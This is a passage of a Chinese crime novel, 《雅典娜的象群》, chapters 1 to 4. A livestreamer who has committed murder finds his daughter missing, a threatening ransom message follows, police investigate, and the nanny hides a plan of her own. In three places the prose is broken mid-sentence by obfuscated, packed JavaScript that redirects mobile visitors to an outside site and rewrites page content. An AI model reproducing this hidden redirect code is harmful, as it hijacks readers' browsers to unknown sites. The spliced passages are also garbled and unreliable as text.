《雅典娜的象群》 1. 第 1 章 罗嵩坐在车里,透过前挡风玻璃看着墙角那只正冒出熊熊烈焰的锈蚀铁桶,眼睛一阵刺痛——额角的汗正汇成溪流向他的眼睛汇聚。 他抬手擦了把汗,启动车子关闭大灯,打开空调时发现自己的手一直在颤抖,忍不住给了自己两巴掌,深吸几口气,强迫自己冷静下来。 空调里吹出的冷风带上了蛋白质被烧焦后所特有的刺鼻难闻的味道,罗嵩胃里一阵翻腾,忙关闭空调,可那股臭味非但没有消失,还越来越清晰,越来越浓郁,呛得人难以呼吸。 罗嵩在憋气中猛的惊醒,发现那股臭味居然是真实存在的。 他掀开被子起身,打开房门。 “爸爸!”原本趴在茶几上写字的罗曼果看到他,双眼亮晶晶地朝他跑来,朝他伸出双手。 罗嵩敷衍地揉了揉她的头发,循着臭味来到厨房,发现严秀姿正在水池旁刷锅。 “什么东西烧糊了?这么臭!”他问。 “鸡蛋,煮在锅里忘了。保姆也真是的,去买个菜这么久还不回来,你早饭想吃什么,我给你做。”严秀姿道。 “不用了,我没胃口。”罗嵩低头看到罗曼果,又问:“果果怎么没去上学?” 严秀姿道:“今天都9号了,她早放暑假了,一天天的在家净烦人。” “不行就给她报个兴趣班。” “花那钱干什么,就让她在家呆着好了。” 果果闻言,委屈地低下头。 罗嵩去卫生间小便,下意识地往旁边的垃圾桶一瞥,眼睛瞬间瞪大,拉上裤子冲到厨房问严秀姿:“卫生间的垃圾袋呢?” 严秀姿道:“保姆拿去扔了吧,怎么了?你脸色怎么这么差,身体不舒服吗?” “没有,只是随便问问。”罗嵩绷着脸回到自己的卧室。 他昨晚回来后把衣服裤子还有鞋子都扔在了卫生间的垃圾桶里,下去扔垃圾的时候发现那么晚居然有老太太在翻垃圾桶,只好又拿了回来。 现在被保姆拿去扔了,会不会被人捡走?就算捡走应该也没关系吧,保姆拿去扔的,又没人知道是他的,捡回去肯定也要洗了再穿,洗过几次,应该就没有他的DNA了吧。 他昨天用的是锤子,回来照镜子也没看到身上有沾到血迹,把衣裤全部扔掉不过是出于谨慎。 稳了稳情绪,他打开保险箱,拿出朱国良的手机,插上卡开了机,正在查看微信,耳边传来一声:“爸爸!” 罗嵩吓了一跳,抬头一看,他女儿果果在房门口把头探进来,一双圆圆的大眼睛看着他。 他忙把手机往身后一藏,大声呵斥道:“没人教你进别人房间前要先敲门吗?” 果果被他狰狞的表情吓得一颤,小脑袋缩了回去,没一会儿,客厅里传来她的哭声。 罗嵩起身把房门反锁。 “哭什么哭?闭嘴!你爸爸难得回来,别烦他。” 大哭声变成了压抑的抽噎。 罗嵩没心情理会,重新拿起手机查看微信,依然没有有用的信息。 光从联系人名单也看不出什么所以然,现在该怎么办?他不能一直留着这只手机,可是东西他必须拿到。 不在手机里,或许在家里? 他打开购物app,点开地址栏,顺利找到了一个位于京山市的收货地址。再打开微信通讯录,果然找到一个联系人备注是房东,聊天记录基本上都是房租转账记录。 他给房东发了一条信息—— “我今天后半夜到家,钥匙不知道丢在哪里了,能不能麻烦你送一把过来,放在我能找到的隐蔽处。” 发完,他点开微信余额,发现只有一百五十多块钱,就给房东发了一百五的红包,然后关机拔卡。 外头传来开关门的声音。 “果果,怎么哭了?来,阿姨抱。”是保姆回来了。 “爸爸凶我。”果果抽噎着告状。 罗嵩打开房门出去。 保姆李亭抱着果果,转身看到他,脸上挤出讨好的笑容,用他们老家的方言跟他打招呼:“罗主播,你回来了。” “嗯,卫生间的垃圾袋呢?”罗嵩盯着她的眼睛。 “扔掉了。” “你没看里面装的是什么吗?” 李亭表情变得忐忑,道:“我看了,是衣服,我以为是不要了的。” “什么?衣服?就算不要了也不能扔掉啊,你穿的都是名牌,放在咸鱼上也能卖不少钱。”严秀姿在沙发上叫起来,冲李亭道:“你什么出身啊,这么大手大脚,快下去把衣服拿回来,别被人捡走了。” 李亭为难道:“可是我扔的时候正好垃圾车过来,已经装走了。” “那你得赔,按五折赔。” “罗主播……”李亭委屈地看向罗嵩。 “哎哟哟,还撒上娇了,也不看看你这副土里土气的模样配不配?”严秀姿刻薄道。 罗嵩对严秀姿道:“行了,你现在缺这点钱吗?”衣服被垃圾车直接抄走了,罗嵩心里松了口气。 严秀姿还想说话,罗嵩自己的手机在卧室响了起来,她闭上嘴,只狠狠地瞪了李亭一眼。 李亭抱着果果去厨房。 “阿姨,我想吃虾。”五岁的小姑娘红着眼睛小声地对李亭道。 “阿姨知道,下午等你奶奶去打牌了,阿姨带你去看妈妈好不好?看了妈妈再去吃虾。但是千万不能告诉你奶奶和爸爸哦,不然他们会赶走阿姨的。” 果果连连点头,用胳膊擦擦眼泪道:“我一个字都不会说,拉勾,骗人是小狗。” 罗嵩接打了几个工作电话,再次拿出朱国良的手机。 可能是那一百五的红包起了作用,房东答应给他送钥匙过来,放在门口的地垫下面。 他舒了口气,把手机锁进保险箱后,拿起自己的手机开门出去。 严秀姿看他往玄关处走,问道:“不在家吃了饭再走?” “不了,忙着呢。” “哦,那你开车小心点。” 现在是白天,即便心急如焚,罗嵩也不打算现在过去,白天被人认出来的风险太高了,还是晚上过去比较妥当。 他努力将这件事暂时摒弃在脑后,往公司的方向开。 这时手机上忽然跳出一条微信,他正在开车,没仔细去看是谁发的,只是随意点了下。 耳机里响起了朱国良的声音—— “罗嵩,你杀我,我要你的女儿给我陪葬!” 罗嵩吓得魂飞魄散,一脚急刹,后面的车应变不及,追尾了他。 他大小算个公众人物,很快就被后车的司机认出。 事故还没处理完,电话已经一个接一个地打过来,都是询问他车祸情况的。 他挂了几个电话之后,接通了严秀姿的电话。 “小嵩,你在哪儿?现在怎么样了?我看网上说你发生了车祸。” “我没事,只是追尾而已,我马上回来。” “哦,吓死我了,没事就好。” 挂了电话,罗嵩点开网页,果不其然,这起事故已经上了热搜,标题很吸睛——知名头部主播罗嵩遭遇车祸! 好不容易处理完事故,他火速回到书荟雅苑。 饭刚烧好,李亭在布置餐桌。 “刚才谁进我房间了?”他劈头就问。 严秀姿想问他车祸的话卡在喉头,一脸茫然:“没人进你房间啊。” “不可能!”罗嵩面色难看至极,想了想,严秀姿和果果都不可能给他发那种信息,家里唯一的外人,即唯一的嫌疑人就是保姆李亭。 他站在厨房门口,盯着里头的女人,道:“你进我房间了。” 李亭手里拿着筷子,无措道:“我没有啊,第一天到这里严阿姨就告诫我不能进你房间。” 罗嵩盯着她不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251758|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 严秀姿过去拧了下他卧室的门把手,回头道:“你这房门不是锁着吗?她怎么进去?” 罗嵩掏出钥匙打开卧室门,严秀姿想跟着进去,他反手把门一关,差点磕到她鼻子。 严秀姿心中一股怒气往上冲,但想起他难看的面色,估计是出了什么严重的事,就敲门问道:“小嵩,发生什么事了?你是丢什么东西了吗?要是丢了什么贵重的东西,咱们得赶紧报警。”说完瞟了眼站在餐桌旁的李亭。 李亭道:“你看我做什么?” “我看你怎么了?你是做了什么亏心事经不起别人看?” “你看我不就是怀疑我吗?我刚才一直在做饭你又不是不知道?” “刚才那死孩子把石榴汁翻在我腿上,害我去卫生间洗了半天,我哪儿知道你有没有趁机干别的?” “那我还收拾了半天呢!” 两人你一言我一语地吵了起来。 罗嵩打开保险箱,赫然发现朱国良的手机竟然不见了! 他目瞪口呆地看着保险箱内部,手脚发凉。 “……那就报警啊,警察要是知道是罗主播家出了盗窃案,肯定上心,我现在就报警!” 耳边传来李亭一声高喊,罗嵩回过神来,忙开门出去,道:“不用报警,家里不是有监控么?” 严秀姿经他提醒,道:“对,你不说我都忘了。”说着去沙发那边拔下正在充电的手机。 罗嵩急不可待地拿过她的手机,点开家庭监控app,找到他收到微信的时间段,从头开始看。 监控是装在客厅里的,但能拍到他卧室的门。 整个时间段内没人进去过他的房间。 这怎么可能?! 如果没人进去过,朱国良的手机怎么会凭空消失? 他着意看了下监控记录的日期和时间,确实是今天的。 他点击前一个视频记录,把时间条往前拉,一直到他离开为止,时间都是连贯的,始终没人进去过他的房间。 到底是怎么回事?这不科学! 严秀姿嘀咕:“没人进去过你房间啊,你到底丢了什么?” 罗嵩不说话,只看着一旁的李亭。 他家请保姆当然不会随便请个不明来历的人,他调查过她,她是他们老家那边的人,初中学历,今年三十三岁,未婚,保姆经验不多,但烧得一手好菜,当初严秀姿就是看在她做饭好吃,价格又比那些育儿保姆便宜很多的份上请了她。 要给他发那条微信,先要打开他锁住的房门,再打开他的保险箱门拿到朱国良的手机,然后再给他发微信,还要以朱国良的声音发,一个初中学历的保姆,能做到这些?再说她又怎会知道他杀了朱国良,那部手机是朱国良的呢? 可若不是她,那又会是谁?他是坚定的唯物主义者,绝不相信这世上有鬼。 手机绝不可能平白无故消失不见。 “你的包呢?”他问李亭。 “挂在门口。” 罗嵩快步走到玄关处,看到墙上挂着个米白色的布包,拿下来一顿翻找,没有那部手机。 他不信邪,在家里四处翻找,把所有垃圾桶里的垃圾都倒出来。 严秀姿看他像中邪一样,心焦道:“你到底在找什么?你说出来我帮你一起找啊。” 没有,没有,哪儿都没有! 罗嵩感觉自己的头快要爆炸了。 “罗主播,如果你真的丢了什么贵重东西,还是报警吧,不然你和严阿姨都怀疑我,这份工作我还做不做了?”李亭蹙着眉头说。 罗嵩强迫自己冷静下来,对李亭道:“不用,可能是我最近工作太忙,记差了,我回我自己家里再找找。” 他叮嘱严秀姿:“最近你看好果果。” 严秀姿问:“怎么了?吴晓敏又打电话跟你闹了?” “别多问,看好她就行。” 2. 第 2 章 7月10日,晚上九点四十分,书荟雅苑严秀姿家。 “姓名?” “李亭,木子李,亭亭玉立的亭。” “是你第一个发现孩子失踪的?” “对。” “孩子是什么时候失踪的?” “晚上七点多。” 民警抬头看了李亭一眼,问:“七点多就失踪了,为什么到九点多才报警?” “因为一开始严阿姨坚持说肯定是吴医生把果果带走了,要打电话去质问她,但是电话一直打不通。我看吴医生不接电话,就也有点相信严阿姨的说法,以为是吴医生偷偷把果果带走了。九点多严阿姨又打吴医生电话,打通了,吴医生说没有带走果果,我这才报的警。” 民警问:“孩子爸爸呢?联系过吗?会不会是爸爸把孩子带走了?” “我儿子很忙的,哪有工夫回来带孩子,这事跟我儿子没关系。我跟你说警察同志,这个吴晓敏一直在跟我儿子打抚养权官司,绝对是她看打官司不顺利,把我孙女偷走藏起来了,这样下次庭审她就可以说我们看不好孩子,让孩子走失了,法官就会倾向于把孩子判给她。她在想什么我都一清二楚。”严秀姿道。 “严秀姿,你不要血口喷人。”吴晓敏刚刚哭闹了一番,此刻在女警的陪同下坐在沙发上,听到这话情绪又激动起来。 “不是你你为什么不接电话?啊?我从七点多到九点多一共打了你十几个电话,你要不是心里有鬼?为什么不接?把果果藏好了才接的电话是不是?”严秀姿问。 “下午四点我有一台手术,一直做到九点十三分才出手术室,不信的话,你们可以去查。”吴晓敏愤怒地盯着她。 “就算不是你,也可能是你家里人干的……” “严女士,你孙女已经失踪两个多小时了,现在的每一分钟对你孙女来说都很宝贵。”女警实在看不下去了,插话道。 民警也说:“你现在立刻联系孩子爸爸,问问是不是他把孩子接走了,如果没有,就问他有没有收到勒索信息。” “我跟你们说了我儿子很忙的,现在正是他的直播时间,不会看手机的,不信你看,打不通。”严秀姿把拨打页面递给民警看,果然无人接听。 民警:“你儿子的工作地点报一下。” “我说了不要去打扰我儿子,你知道他一场直播赚多少钱吗?孩子绝对不是他带走的,找他有什么用?”严秀姿不耐烦道。 “严女士,孩子失踪了,你搞清楚状况没有?孩子失踪了,你确定不用通知孩子爸爸?” “孩子没有失踪,就是被吴晓敏给带走了,你们不抓她,一直烦我儿子做什么?”严秀姿跺脚道。 吴晓敏拿起茶几上果盘里的石榴就要砸严秀姿,被女警眼疾手快地拦下。 “不用去罗先生的工作地点了,我在他直播间刷果果失踪的消息,他好像已经注意到了。”李亭捧着手机说。 严秀姿猛地转身,劈头盖脸地骂李亭:“你就是一个保姆,你有什么资格擅自联系我儿子?影响了他工作你赔得起吗?说起来孩子就是在你手里失踪的,你是不是早就被吴晓敏给收买了?” 这时她手机响了起来,她划开通话,一秒变脸,微笑着柔声细语:“果果没失踪,是被她妈妈带走了,我已经报警了……” 民警一把拿过她手机,对电话那头道:“是罗先生吗?你有没有带走你的女儿?没有?你女儿失踪了,方便的话请你立刻回家配合调查。” “欸?你凭什么抢我手机啊?”严秀姿看着已经被挂断的电话,气不打一处来。 民警不理她,只对李亭道:“现在你说一下发现孩子失踪的具体经过。” 李亭刚要说话,她口袋里的手机响了起来。 她拿出来看了一眼,点了拒绝接听。 “谁的电话,你为什么不接?”严秀姿瞟了吴晓敏一眼,对李亭道:“她在做手术,你也没有离开,如果是你们串通带走果果,需要第三个人,给你打电话的,就是这个人吧?你把手机给我看。”说着她就要来抢李亭的手机。 李亭将她一把推开。 “欸,警察同志,你看,她心虚了,抓她,审她,肯定是她和吴晓敏串通带走了我孙女!”严秀姿大叫起来。 “你有病啊?” 眼看两人要吵起来,民警忙制止两人,道:“先说孩子失踪的事好吗?”他看向李亭,“你先说。” 李亭白了严秀姿一眼,整理一下思绪,回忆起来:“吃完晚饭,果果奶奶说要去跳广场舞,叫我先给果果洗澡,等她回来我再回去。果果说想吃西瓜,家里没有,我就带她下楼,准备去小区外头的水果店买半个,经过小区里的游乐场时楼上的周阿姨叫住了我。” “哎,小李,你过来一下。” 李亭笑着道:“周阿姨,我带果果去买西瓜呢,回头再聊。” “就几句话,耽误不了你多少时间。果果,去跟我家涵涵玩吧,就在滑滑梯那儿。”周阿姨说。 涵涵是果果的幼儿园同学,果果看到她就跑过去了。 李亭只能走过去,跟坐在那儿看孙子孙女的一圈阿姨打招呼。 “小李,你回去跟罗主播说一说,咱们一个小区住着,都是相信他才去他的直播间买东西的。他嘴上说得多好听,说有多用心选品,前几天我给我大孙子买了只咖啡杯,内胆说是不锈钢316的,结果你猜怎么着?才用了几天,内壁居然剥落出几个小黑斑,你说这算怎么回事?” 旁边殷阿姨搭腔:“噢哟,东西是小事,那剥落下来的东西万一被孩子喝进去身体出了问题,可就是大事了。阿轩他没事吧?” 周阿姨说:“阿轩没事,要是阿轩有事,我可不是找小李说了。” 李亭说:“罗主播曾经在家里说过,有些产品号称是不锈钢316内胆,其实就是写着316的那块是316,其他地方都不是。” 众人哗然,七嘴八舌: “竟然是这样?” “这不是骗人吗?” “就是啊,我以为316内胆就全是不锈钢316呢,原来只有标着316的底部是?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251759|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那以后谁还敢买这种东西啊?” “就是说咯。那按照小李的意思,罗主播他明知是劣质产品,还在直播间卖?” 李亭忙道:“我可没这么说啊,我只是说罗主播在家里说过这个事。周阿姨殷阿姨,你们也知道,我只是罗家的保姆,像这种事,你们还是要找严阿姨反应,毕竟她是罗主播的妈妈,她说的话才有分量。” 一提到严秀姿,几人的白眼几乎要翻上天。 “跟她说,我们哪敢哟?一句‘你有钱你去买好的呀,要不是为了贪便宜你会蹲直播间?’能把人气死。” “就是,罗主播看上去和和气气挺谦虚的,原本以为他跟他妈不一样,原来是一路货色,以后不在他直播间买东西了。” 李亭尴尬地笑了笑,说:“周阿姨殷阿姨,要没有别的事我就先去买西瓜了。” 众阿姨放行,李亭往游乐场里看去,没看到罗曼果。 她走进游乐场,把各种游乐设施都找了一遍,没找到罗曼果,问游乐场里的孩子,都说没看见罗曼果去了哪里。 她着急起来,大声喊“果果”,游乐场旁边的阿姨们被她惊动,了解到罗曼果不见了,忙也帮着寻找,找了大概有十几分钟都没找到罗曼果。她赶紧打电话通知了罗曼果的奶奶严秀姿。 “整件事情就是这样的。”李亭对负责记录的民警说。 “你怎么能跟殷爱霞周桂芬她们说那种话?这不是败坏我儿子的名声吗?你是我们罗家的保姆,怎么能吃里扒外?我跟你说你没看住果果,上个月的工资你别想要了。”严秀姿瞪着李亭骂道。 李亭也生气了,道:“罗主播本来就在家里说过那句话,我又没撒谎。再说了,我是你找来做饭做家务的家政,看果果本来就不是我的责任,我是看果果可爱才愿意看她,果果走丢了我也很着急很难过,但追根究底这不是我的责任,是你和果果爸爸的责任!” “你还敢犟嘴……” “都别吵了!”吴晓敏放下捧着头的双手,看着民警问道:“现在该怎么办?” “你吼什么吼?就是因为你脾气差小嵩才跟你离婚的,到现在你还死不悔改。我警告你,不要在这里装腔作势,趁早把果果还回来,果果姓罗,只要我还活着,就绝不会让她被你带走!”严秀姿指着吴晓敏厉声道。 吴晓敏刚要发作,李亭的手机又响了起来,吸引了屋里几个人的注意力。 严秀姿盯着她道:“你要心里没鬼,你就接,开扬声器,不然就是你跟吴晓敏合谋拐走了我孙女!” 吴晓敏也看着李亭。 李亭接通电话,外放模式。 “亭亭,对不起啊,原本约好今天见面的,我这边有点事没能赴约,你没生气吧?”电话那头传来女人小心翼翼的声音。 “没事,幸好你没来,我这儿也有点事,走不开。”李亭道。 “哦。” “没事的话我先挂了。” “好,那我们下次再约。” 李亭挂了电话,对严秀姿道:“现在满意了?” 3. 第 3 章 罗嵩最终没有回来,只打了电话回来说走不开,直播带货都是签了协议的,如果他半途离开,要赔一大笔违约金。孩子失踪反正已经报了警,他回来也帮不上什么忙。 严秀姿与罗嵩对于孩子失踪这件事的态度,在民警看来实在太过离谱,加上严秀姿说孩子的妈妈吴晓敏正跟罗嵩打争夺孩子抚养权的官司,于是更倾向于相信这是因为孩子抚养权官司引发的家庭纠纷,应该是双方之一把孩子给藏起来了。 心中虽是这样猜测,但该走的流程还是要走。李亭很喜欢给孩子拍照片,民警问她要了孩子失踪当天的照片,让家属也发动社会关系帮忙找一找孩子,然后就走了。 民警一走,吴晓敏在前夫家里自然是待不下去,李亭本想跟她一起离开,却被严秀姿给叫住了。 “哎哟,在楼下跑来跑去找了半天,累死了,肚子也饿了,你去给我下碗馄饨。”严秀姿坐在客厅沙发上,捶着自己的双腿道。 李亭站在茶几旁边看着她。 “看什么?快去啊!”严秀姿颐指气使。 “果果失踪了,你就一点都不担心吗?”李亭问她。 “我担心什么,肯定是吴晓敏搞的鬼。” “万一不是呢?” “万一……我说你就是个保姆,你管那么宽干什么?”严秀姿不满地看着李亭。 李亭回身走到玄关处,拿起自己的包。 “我叫你下馄饨,你干什么去?”严秀姿身子前倾,够着头喊她。 “我不干了,你自己下去吧。” “你不干上个月和这个月的工资都别想要。”严秀姿道。 李亭转身看着她,道:“你不给我工资,我就去讲给全小区的阿姨听,看你受不受得了她们的指指点点。我还会去网上发帖,@罗主播,让所有人都知道,他罗主播的妈用人不给钱,是个白嫖怪。” “你——” 李亭出了门,砰的一声把严秀姿的谩骂声都隔绝在门后。 她骑着电动车回到自己租住的小区,看到一辆小轿车停在单元楼下。 罗三丫开门下车,着急地迎上来:“亭亭,我……” “去车里说。”李亭打断她。 两人上了车,罗三丫愧疚又着急地说:“傍晚出了点事,我没能赶过来,给你打过电话之后,我点开果果的定位器app,发现她的定位在松湖小区C区第35栋,我们要不要现在过去看看情况?” “嗯,等我上去收拾一下行李。” “你收拾行李做什么?”罗三丫不解地问。 “以防万一。”李亭下车上楼,很快收拾好行李下来。 两人系好安全带,罗三丫发动车子向小区外驶去。 松湖小区是个房龄在十年以上的安置小区,这样的老小区最明显的特点就是管理松散,楼层低,房屋老旧,租金便宜。因为造得比较早,又靠近城市边缘,楼间距比较大,没有地下车库,停车位就在楼与楼之间。 app上显示罗曼果的定位器位于35栋左侧一单元这边,但一单元下面的车位上停满了车,罗三丫只好停到旁边三单元楼下的一个空车位上,与李亭两人坐在车里,远远地看着一单元的门洞。 罗三丫数了数窗户,说:“这楼房有五层高,一单元十户人家,不知道果果到底在哪一家,我们要不要报警?” “报警?你要怎么跟警察说?说我们串通吴医生想把她藏起来,结果因为你有事没能来,果果被别人拐走了,然后你通过提前安装在她玩具里的定位器发现她在这儿?”李亭问。 罗三丫讷讷。 “你这样做会让吴医生永远失去抚养果果的机会。而且,定位器只能证明她的大象公仔在这栋楼里,不能证明她人也在这里。” “吴医生知道果果失踪了吗?”罗三丫小心翼翼地问。 “不知道。” “你没告诉她?” “我怎么告诉她?”李亭扭头看向罗三丫。 罗三丫两只手交握着搁在腿上,低下头道:“对不起,都怪我。” “不怪你,我知道你家里的情况还找你,是因为除了你我没有别人能找,所以现在出现这种意外状况,也是我该承担的后果。”李亭道。 罗三丫心里很不是滋味,沉默了一会儿问道:“那我们现在该怎么办?” 李亭望着一单元门口,道:“等,确定果果的行踪,找机会把她抢回来,然后继续按原计划进行。” “可是,万一在这期间果果遇到危险怎么办?毕竟,正常人遇到走失的小孩不会带回自己家,只会送去派出所吧。”罗三丫担心道。 李亭不说话。 罗三丫也跟着沉默下来。 “如果果果真的发生意外,一切后果由我来承担,我没跟吴医生提过你,她不知道配合我的人是你,而且今天你出事没能来,正好作为不在场证据,你不会有事的。”李亭忽然说。 罗三丫震惊地看着她,“这怎么可以?” “别跟我争,为了丽丽。”李亭一刀切中她要害。 罗三丫嘴角搐动几下,哭了起来,“对不起,真的对不起,都怪我,我为什么就不能忍一忍,要跟那个混蛋打起来。”一边哭一边抬手扇自己嘴巴。 李亭抓住她的手腕,道:“现在不是自责的时候,你还有机会弥补自己的过失。今晚我们轮流盯着门洞和你手机上定位器的位置,你先睡会儿,我扛不住了再叫你替我。” 凌晨三点,罗嵩回到书荟雅苑,发现家里一片黑暗。 他过去敲严秀姿的房门,敲了好一会儿才从门缝里透出光来。 严秀姿睡眼惺忪地过来打开房门,见是罗嵩,打着哈欠道:“小嵩,你回来了,饿不饿?” 罗嵩见她没事人一样,问:“果果呢?” “被吴晓敏带走藏起来了,你别慌,我明天就去第五人民医院找她闹,不把孩子还回来,我叫她工作都做不成!”严秀姿说。 “确定是吴晓敏带走的?”罗嵩看起来有些焦躁不安。 “不是她还能有谁?” “她承认了?” “她怎么可能承认?但我知道,一定是她,如果不是她,今天在警察面前她不会那么平静。放心吧,没事的,我一定找她把果果要回来。你饿不饿,我去给你下碗馄饨?” “不用,我不饿。你睡吧。” 罗嵩回到自己房里,也不开灯,就这么坐在床沿上,躬着身子,双肘支在膝上,双手抓着头发。 会是吴晓敏吗?如果她要抢孩子,何必等到现在? 如果不是她,会是谁? 朱国良?不,不可能! 次日一早,香澜悦溪,2栋8楼。 窗帘半开的落地窗后,吴晓敏握着手机眉头紧蹙心事重重地转圈徘徊。 她一夜没睡,但丝毫不困,抬头看了看外面灿烂耀眼的阳光,她觉得就这么在家里空等也不是办法,不如去派出所等着,有什么消息也能第一时间知道。 这么想着,她来到卫生间草草地洗了把脸,准备出门的时候,手机叮的一声,来了一条短信。 她划开手机屏保看清楚短信内容后,面色大变,抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251760|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起车钥匙就冲出了门。 一个小时后,清江路派出所。 “郭队长你好,我是清江路派出所民警蒲文国。” “你好,案子到底是个什么情况?”市刑侦大队队长郭阳与对方握了一下手,开门见山地问。 蒲文国引着郭阳和与他同来的几位刑警同志往派出所里走: “是这样,昨晚九点多,我们接到报案,说书荟雅苑有个五岁的女童在小区游乐场走失了,我和我们所的同志立刻去了现场了解情况。女童家里情况比较复杂,父母是离异的,而且正在打抚养权官司。当时孩子的爸爸不在家,孩子奶奶一口咬定是孩子的妈妈偷偷带走了孩子,孩子妈妈否认,最先发现孩子失踪的保姆也没能提供什么有用的线索,我们就只好调取了游乐场附近路口的监控来寻找孩子的行踪。今天一大早,孩子妈妈收到了勒索,不,也不能说是勒索信息,只能说是一条威胁信息,对方发了孩子的照片过来,称孩子在他手上,如果罗嵩,就是失踪女童的爸爸,不按照他的要求做,他就撕票。” 说话间,一行已经到了会议室,眼眶通红的吴晓敏和女警在里头,双方互相介绍过后,郭阳他们坐了下来,要求看绑匪发给吴晓敏的威胁信息。 吴晓敏把手机递给了郭阳。 先是一张孩子的照片,照片上,一个身穿白色棉布裙,裙子胸口绣着彩虹图案的小女孩躺在床上,嘴巴被胶布封着,双手和双腿都被胶布绑着,满头大汗,睁着一双乌黑透亮的大眼睛看着镜头。 下面是绑匪发来的信息。 “罗嵩,要想你的女儿没事,你必须在7月13日晚上八点,在你的直播间公开向我支付赎金。赎金是三个问题的答案,到时候我会以发微博的方式问这三个问题。玛丽安0723,这是我的微博账号,如果你的答案让我满意,我将在这个账号上公布你女儿的下落。如果你的回答让我不满意,我也将在这个账号上公布你女儿的下场。如果你不按照我的要求进行公开直播,或者不诚实回答我的问题,或者我这个账号被封禁,那你就永远别想再见到你女儿。” 郭阳看完短信,问蒲文国:“查过这个手机号码吗?” “查过了,户主是朱国良,男,四十五岁,泰市莲花镇人,有前科,曾因寻衅滋事盗窃车辆等罪坐过几次牢,最后一次坐牢是诈骗罪被判刑五年零三个月,七个月前刚从牢里放出来。”蒲文国道。 “你认识这个朱国良吗?”郭阳问吴晓敏。 吴晓敏摇头:“不认识。” “有听你前夫提起过这个朱国良吗?” “也没有,但是……” “但是什么?” 吴晓敏犹豫了一下,道:“没什么。” 郭阳拨打了一下那个号码,打不通。 “这个信息很明显是要发给罗嵩的,罗嵩有向你们报过案吗?”郭阳问蒲文国。 蒲文国道:“迄今为止,还没有。” 吴晓敏冷笑道:“他不会来报案的,他恐怕和他妈一样,至今还坚持认为孩子是被我带走的。昨天警察同志告诉他孩子失踪了,他为了直播都没有回来,他根本就不配当一个爸爸!” 郭阳站起身,布置任务:“小崔,你跟民警同志交接一下,把相关资料带回队里,志远和杨琳去查这个朱国良。文博,你跟我去一趟书荟雅苑。” “那我呢?”眼看他们要离开,吴晓敏站起身无措地问。 郭阳道:“从目前的情况来看,这个案子的关键在你前夫身上,我们现在去罗嵩那儿了解一下情况,你先回去,有需要我们再联系你。” 4. 第 4 章 听说人的形态会随着生存环境的改变而改变,黄鳝亦如是,并且更为直接和明显。 昨天水少,它们在塑料盆里瘫成一团凌乱而扭曲的面条。今天水多,它们在水里站成一堆笔直的“L”。 徐引璋看着它们露在水面的小小鼻尖,知道这个世界于它们而言是痛苦的。 窒息,多痛苦啊,人们甚至用死亡来逃避这种痛苦。 但它们很缄默,而且看起来丝毫没有要用生命来结束这种痛苦的意向。 一只沾着鱼鳞和血腥的手伸过来,技巧性地抓住其中一只比较粗壮的“L”,放在砧板上剁去头颅,划开肚子扯出内脏,将颈部穿过木板上的钉子,手固定住尾巴,剔骨专用的小刀从头到尾一划,然后极熟练地将剔除了骨头的皮肉片成鳝片。 “你要点什么?” 徐引璋吓了一跳,收回目光扭过头看着水产摊主,定了定神,问:“虾怎么卖?” “河虾八十,罗氏虾五十五,基围虾四十。” 好久不买虾,原来虾变得这么贵了? 摊主看徐引璋犹豫不决,指着一旁盆里的死虾道:“死虾便宜,十块钱一斤,都是刚死的,不影响吃。” “给我来一斤基围虾。”徐引璋看了眼死虾,指着盆里的活虾对摊主道。 李亭昨晚一直守到五点,刚眯了一会儿,又醒了,看罗三丫目光炯炯地盯着一单元门洞,问:“有什么异常吗?” “刚才从一单元门洞里出去了两个老太一个老头,一个高中生,两个送小学生上学的家长,这几个人基本上都可以排除拐带绑架果果的嫌疑。”罗三丫道。 李亭说:“老头的嫌疑也不能完全排除,你忘了我们小时候在村上遇到的那些老头?” 罗三丫脑海中瞬间闪过久远得仿若隔世的记忆——廉价的零食,黑黢黢的门洞,带笑的浑浊的眼,稀疏的大黄牙……“小丫头,过来,爷爷给你糖吃。” 她闭了闭眼,问李亭:“饿不饿?我去买早饭,你想吃什么?” “我去,你这个样子,会给人留下印象的。”李亭看着她伤痕累累的脸。 罗三丫只好收回开车门的手,道:“油条麻团,随便什么,能填饱肚子就行了。” 李亭下车去买早饭,罗三丫继续盯着1单元门洞。 徐引璋拎着菜来到35栋102室门口,回头观察了下,确定这会儿没人上下楼梯,拿钥匙打开门,闪了进去。 小女孩已经起床了,这会儿正乖乖地坐在餐桌旁喝牛奶吃面包。 仇洋的面色却非常难看,见徐引璋回来,他起身拉着她一起来到厨房。 徐引璋把菜放到水池旁,问他:“怎么了?” 仇洋压低嗓音道:“我们绑错人了。” 